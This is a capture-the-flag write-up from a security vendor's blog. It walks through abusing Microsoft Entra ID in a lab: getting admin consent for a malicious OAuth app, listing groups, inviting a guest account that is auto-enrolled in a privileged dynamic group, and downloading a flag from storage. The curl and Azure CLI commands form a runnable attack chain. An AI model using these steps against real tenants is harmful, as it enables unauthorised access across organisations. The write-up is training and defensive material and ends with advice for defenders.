Meet Tamnoon at RSAC 2026 Learn More

November 5, 2025

Breaking the Barriers: Exploiting Entra ID Consent and Groups (Challenge #3)

Sahara Armen

Security Engineer

Share:

We’re back at it again with another Wiz Cloud Security Championship challenge.

In our last write-up, “Contain Me If You Can,” we explored container escapes and database privilege abuse. This time, the walls look different. Instead of breaking out of a container, we’re breaking into identity.

August’s challenge #3, Breaking the Barriers, was created by Lior Sonntag, Senior Security Researcher at Wiz. In this challenge, we were dropped into the shoes of an APT group targeting Azure

  • The scenario: You’ve built a malicious OAuth app in your tenant and need to deploy it into a victim’s tenant to gain initial access. 
  • The catch: The app is heavily restricted, and the only way forward is to exploit how Microsoft Entra ID (formerly Azure AD) really works, including nested groups, consent flows, and permissions that don’t always behave the way people think they do.

This challenge was inspired by real-world incidents, such as the Midnight Blizzard campaign, where attackers leveraged OAuth apps and consent flows to infiltrate deep into Microsoft environments. 

Our own Azure expert and Principal Security Architect Eugene Tcheby wrote about this before, explaining how one-to-many nested group relationships can become the key to pivoting across tenants. That same concept clicked into place here, becoming the breakthrough moment needed to overcome this challenge.

What follows is our step-by-step walkthrough: from setting up the malicious OAuth app, to forcing an admin consent flow, to chaining group memberships until the barriers came down. Along the way, we’ll highlight not only how we captured the flag, but also what security teams should take away about protecting identity as the new perimeter.

Breaking the Barriers showed how identity can be just as critical as infrastructure in cloud security. By retracing the attacker’s path, we captured the flag and underscored the importance of securing consent flows, monitoring group structures, and treating Entra ID as a true security boundary.

Step 1: Read the prompt and pick up the environment variables

The challenge preloads the shell with the OAuth app creds and the target web app URL, so the first thing we did was inspect the environment to find those values and store them as variables for later use. The doc shows the exact prompt and recommends the commands to view them.

 

A quick env | grep AZURE and echo $WEB_APP_ENDPOINT gave us everything we needed, so we saved those values into TENANT, CLIENT_ID, CLIENT_SECRET, and a trimmed API_BASE.
				
					#view endpoint details
env | grep AZURE
echo $WEB_APP_ENDPOINT

#save the values so we can use them later 
export TENANT="$AZURE_TENANT_ID"
export CLIENT_ID="$AZURE_CLIENT_ID"
export CLIENT_SECRET="$AZURE_CLIENT_SECRET"
export API_BASE="${WEB_APP_ENDPOINT%/}"
				
			

Step 2: Confirm the foothold (create an admin user)

Opening the target WEB_APP_ENDPOINT in an incognito browser revealed a page that lets you create an admin user.

We can create an admin user, so we created that account and noted the email/password. 

This was our initial foothold: a low-friction way to exercise the app’s flows and to prove we could interact with the victim surface as an identity actor.

Step 3: Discover the Identity Endpoints and Confirm the Tenant ID

To correctly authenticate and request tokens against the victim tenant, we first retrieved its OpenID Connect configuration by querying the .well-known/openid-configuration endpoint. This response provides key metadata, including token, authorization, and admin consent endpoints tailored to that specific tenant.
				
					#Lets take a look at the OpenID documentation
curl -s https://login.microsoftonline.com/$AZURE_TENANT_ID/v2.0/.well-known/openid-configuration | jq .

				
			
We captured the victim’s tenant ID from the OpenID metadata and exported it as an environment variable named VICTIM_TENANT_ID. This value ensures all subsequent token requests and admin consent operations are correctly scoped to the target Azure AD tenant.
				
					# 1) Save the victim tenant ID
export VICTIM_TENANT_ID="967a4bc4-782a-492d-a5d5-afe8a7550b5f"

				
			

Step 4: Probe the app’s current privileges (token decode)

To understand what access the malicious app currently has, we authenticated using its client credentials and retrieved an access token from the victim tenant:

				
					# 2) Request an access token using client credentials
ACCESS_TOKEN=$(curl -s -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "client_id=$AZURE_CLIENT_ID" \
  -d "scope=https://graph.microsoft.com/.default" \
  -d "client_secret=$AZURE_CLIENT_SECRET" \
  -d "grant_type=client_credentials" \
  "https://login.microsoftonline.com/$VICTIM_TENANT_ID/oauth2/v2.0/token" \
  | jq -r '.access_token')
				
			

Decoding the token payload reveals the claims issued by the identity platform. The output shows what permissions or roles the app currently holds in the tenant.

				
					# 3) Decode the JWT payload to inspect claims
echo "$ACCESS_TOKEN" | cut -d '.' -f2 | tr '_-' '/+' | base64 -d 2>/dev/null | jq .
				
			

We look specifically for application roles or delegated scopes. If the output returns “no roles/scopes found,” we know tenant-wide Graph permissions are absent and admin consent will be required.

				
					# 4) Explicitly check for roles or scopes in the token
echo "$ACCESS_TOKEN" | cut -d '.' -f2 | tr '_-' '/+' | base64 -d 2>/dev/null | jq -r '.roles // .scp // "no roles/scopes found"'
				
			

This small check determined the next move. In our case, the decoded token came back with no tenant-scoped roles, which meant the only way forward was to construct and visit the admin consent URL.

Step 5: Trigger and observe the admin consent flow

To escalate the app’s privileges, we initiate the admin consent flow, which prompts an Azure administrator to grant tenant-wide access to the malicious OAuth app.

In a private browser window, we visit the following URL:

				
					# 6) Build the admin consent URL (open this in a browser to force admin approval)
echo "https://login.microsoftonline.com/common/adminconsent?client_id=$AZURE_CLIENT_ID"
				
			
We received an admin consent prompt displaying the malicious OAuth app requesting the following Graph API permissions:
  • Read all groups (Group.Read.All)
  • Invite guest users to the organization (User.Invite.All)
  • Sign in and read user profile (User.Read)
After the administrator accepted the prompt, the redirect URL included a tenant parameter, confirming that admin consent had been granted in the target tenant. Interested in learning more about this? See Wiz’s detailed breakdown here.

Step 6: Confirm new permissions after consent

With admin consent granted, we requested a fresh client credentials token for the tenant and decoded it to confirm new Graph permissions:

				
					# This is our new victim tenant id
export VICTIM_TENANT_ID="d26f353d-c564-48e7-b26f-aa48c6eecd58"

#Lets get and store the Auth token
ACCESS_TOKEN=$(curl -s -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "client_id=$AZURE_CLIENT_ID" \
  -d "scope=https://graph.microsoft.com/.default" \
  -d "client_secret=$AZURE_CLIENT_SECRET" \
  -d "grant_type=client_credentials" \
  "https://login.microsoftonline.com/$VICTIM_TENANT_ID/oauth2/v2.0/token" \
  | jq -r '.access_token')

#Decode the token
echo "$ACCESS_TOKEN" | cut -d '.' -f2 | tr '_-' '/+' | base64 -d 2>/dev/null | jq .
				
			

This shows we have Group.Read.All and User.Invite.All. Perfect!

Step 7: Enumerate the groups

With the Group.Read.All permission granted through admin consent, the malicious OAuth app now had the ability to list all groups in the tenant using the Microsoft Graph API. We leveraged this to enumerate the available groups:

				
					#Taking a look at the groups  
curl -s -X GET https://graph.microsoft.com/v1.0/groups \
     -H "Authorization: Bearer $ACCESS_TOKEN" \
     | jq .
				
			

Step 8: Inspect the target group’s resources

The previous output identified a dynamic group that had access to the flag. We saved the target group ID, then checked which resources this group was connected to.

				
					#Save the Group ID for later use

export GROUP_ID="7d060bb7-75e4-456e-b46f-382f4ff0c4fd"

#Take a look at the resources this group has access to
curl -s -X GET "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/appRoleAssignments" -H "Authorization: Bearer $ACCESS_TOKEN" | jq .
				
			

From that output, we pulled the service principal linked to the group and stored its resource ID for later use.

				
					# Save the Resource ID as a variable 
export RESOURCE_ID="80b871a5-ce2b-4685-81e8-a02ea36dcf65"
				
			

Step 9: Invite a guest user

With User.Invite.All now available, we could create a guest account to gain an identity in the victim tenant. Using a temporary email, we sent an invitation and captured the redeem URL.
				
					#Time to invite a user
#use a temp email website, Enter the code from email into browser and allow
curl -X POST https://graph.microsoft.com/v1.0/invitations \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"invitedUserEmailAddress": "TEMP_EMAIL",
"invitedUserDisplayName": "CTF Guest",
"inviteRedirectUrl": "https://portal.azure.com",
"sendInvitationMessage": false
}' | jq '.inviteRedeemUrl'
				
			

After creating the invitation, we opened the returned inviteRedeemUrl and completed the redemption flow in the browser. During redemption, the guest is asked to accept the permissions shown in the screenshot below. We accepted the request to create the tenant guest account.

Once redeemed, the guest user gained an account within the victim tenant and was automatically evaluated against the membership rules of dynamic groups. This guest identity matched the criteria for the target group and was enrolled automatically.

Step 10: Authenticate as the guest account

With the invitation redeemed, we logged in as the guest user via the Azure CLI using the device code flow. Since we control the email address used for the invite, we could complete the authentication and establish a CLI session within the victim tenant.

This session enabled us to inspect the guest account’s group memberships and confirm whether it had been added to the target dynamic group, inheriting access to privileged resources.

				
					#Lets login and enable CLI

az login --use-device-code --tenant $VICTIM_TENANT_ID

#Go to the link in the incognito browser and put in the code, login to your temporary email and click allow
				
			

Step 11: Verify group membership

After authenticating the guest user via Azure CLI, we queried the account’s group memberships to verify whether it had been automatically added to the target dynamic group.

This step confirms whether the guest met the group’s membership rules,  which in our case, granted access to privileged resources.

				
					#enter 1 and see what groups you are part of now

az ad user get-member-groups --id $(az ad signed-in-user show --query id -o tsv)
				
			

Step 12: Access the resource and capture the flag

The output included the GROUP_ID we had saved earlier, confirming that the invited guest satisfied the dynamic/nested rule and was added to the group. With that membership established, we inspected the service principal tied to the group and then called the storage endpoint to retrieve the flag.
				
					#enter 1 and see what groups you are part of now

az ad user get-member-groups --id $(az ad signed-in-user show --query id -o tsv)
				
			

 This URL looks good!

And with one last step… 

				
					az storage blob download --account-name azurechallengectfflag -c grab-the-flag -n ctf_flag.txt --auth-mode login

				
			

You have successfully found the flag! 

Lessons learned from Breaking the Barriers

This challenge was a reminder that identity can be just as exploitable as infrastructure. By chaining together seemingly small permissions like app registration, group visibility, and user invitations, we built a path that crossed tenant boundaries and landed directly on the flag.

Microsoft Entra ID is a primary security boundary. Admin consent flows, dynamic group memberships, and guest invitations are real-world attack surfaces. The techniques in this challenge mirror those used in live APT incidents, showing how overlooked configurations can quickly become high-impact compromises.

For defenders, the lesson is clear: monitor consent activity, audit group rules, and control how external users are invited. These checks can mean the difference between an OAuth app staying harmless in a lab and an attacker breaking the barriers in your production tenant.

Generalists in a specialist’s world

Don’t settle for noise disguised as protection. See how Tamnoon turns alerts into action and exposure into resilience.

Discover the Latest From Tamnoon

There’s always more to learn, see our resources center

Scroll to Top

Join us for